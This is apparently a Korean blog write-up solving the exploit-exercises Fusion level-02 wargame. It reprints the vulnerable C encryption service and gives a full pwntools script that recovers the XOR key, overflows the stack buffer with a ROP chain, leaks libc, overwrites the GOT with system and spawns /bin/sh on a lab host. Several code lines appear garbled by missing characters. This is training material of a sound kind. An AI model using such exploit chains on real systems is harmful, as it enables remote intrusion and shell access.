exploit-exercise Fusion level-02

2018. 8. 14. 07:16WarGame/exploit-exercises.com-fusion

처음에 엄청 삽질해서 멘탈붕괴되다가 ROP다시한번 개념 제대로 잡자는 생각으로 풀었던 문제였다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include "../common/common.c"    
 
#define XORSZ 32
 
void cipher(unsigned char *blah, size_t len)
{
  static int keyed;
  static unsigned int keybuf[XORSZ];
 
  int blocks;
  unsigned int *blahi, j;
 
  if(keyed == 0) {
      int fd;
      fd = open("/dev/urandom", O_RDONLY);
      if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
      close(fd);
      keyed = 1;
  }
 
  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;
 
  for(j = 0; j < blocks; j++) {
      blahi[j] ^= keybuf[j % XORSZ];
  }
}
 
void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];
 
  unsigned char op;
  size_t sz;
  int loop;
 
  printf("[-- Enterprise configuration file encryption service --]\n");
  
  loop = 1;
  while(loop) {
      nread(0&op, sizeof(op));
      switch(op) {
          case 'E':
              nread(0&sz, sizeof(sz));
              nread(0, buffer, sz);
              cipher(buffer, sz);
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1&sz, sizeof(sz));
              nwrite(1, buffer, sz);
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }
      
}
 
int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;
 
  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);
 
  encrypt_file();
}
cs


위에는 소스코드입니다.

간단 명료하게 설명하겠습니다.


pay += read_plt + pppr + 0 + bss + 8 

#bss에 값 넣으려고 준비하기

pay += write_plt + pppr + 1 + read_got + 4

#read_got에 있는 4byte읽어오기

pay += read_plt + pppr + 0 + read_got + 4

#read_got에 4byte system주소 넣어주기( 뒤페이로드에서 넣어줌)

pay += write+plt + "BBBB" + bss

#/bin/sh 가 저장된 bss를 넣어주기.


대충 이런식으로 진행됩니다.

payload 는 다음과 같습니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
- *- coding: utf- 8 - *-
from pwn import *
def send_pay(value) :
        r.send("E" +  p32(len(value)) + value)
        #send message
 
def findkey() :
    send_pay("\x00"*128)
    r.recv(1024)
    return r.recv(1024)[-128:]
    #find key to do 0^key = key
 
def enc(payload, key) :
    result=""
    for i in range(len(payload)) :
        result += chr(ord(key[i%128]) ^ ord(payload[i]))
    return result
    #encrytp with key
 
#ip address and port
= remote("192.168.231.136",20002)
 
#garget setting
payload = ""
pppr = p32(0x08048f85)
read_plt = p32(0x08048860)
write_got = p32(0x0804b3dc)
read_got = p32(0x0804b384)
write_plt = p32(0x080489c0)
bss = p32(0x0804b420+0x200)
shell = "/bin/sh\x00"
offset = p32(0x84720)
 
r.recv(1024)
 
#find my key
key = findkey()
 
#make payload
payload += "A"*(0x20000+0x10)
payload += read_plt + pppr + p32(0+ bss + p32(8)
payload += write_plt + pppr + p32(1+ read_got + p32(4)
payload += read_plt + pppr + p32(0+ write_got + p32(4)
payload += write_plt + "bbbb" + bss
payload = enc(payload, key)
 
send_pay(payload)
print("[+] success send payload :)")
r.recv(1024)
 
recv = 0
while recv < len(payload):
    recv += len(r.recv(65536))
 
print("[+] success pass while")
 
r.send('Q')
 
r.send(shell)
print("[+] sueecss send shell :)")
 
read = u32(r.recv(4))
libcbase = read -0xc1240
log.info("Libcbase : 0x%x" % libcbase)
system = libcbase + 0x3cb20
 
print("\n\n [+] system  : " + hex(system))
print("[+]key : " + key)
 
r.send(p32(system))
r.interactive()
 
cs

(grin)
처음에 포기하고 다시봐서 시간이 오래걸렸네요 ㅠ
파이팅 ㅎㅎ


'WarGame > exploit-exercises.com-fusion' 카테고리의 다른 글

exploit-exercise Fusion level-01  (0) 2018.08.12
exploit-exercise Fusion level-00  (0) 2018.08.10